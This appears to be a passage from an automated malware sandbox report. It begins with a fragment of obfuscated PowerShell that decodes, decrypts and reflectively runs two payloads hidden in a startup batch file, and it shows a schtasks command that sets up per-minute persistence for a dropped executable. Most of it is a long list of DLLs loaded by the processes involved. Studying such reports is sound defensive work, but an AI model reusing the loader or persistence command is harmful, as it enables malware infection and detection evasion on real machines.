$cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\AppData\Roaming\startup_str_616.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 file	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "e45iasd" /tr "C:\Users\user\AppData\Local\Temp\e45iasd.exe"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: atl.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: msisip.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: wshext.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: appxsip.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: atl.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Section loaded: slc.dll
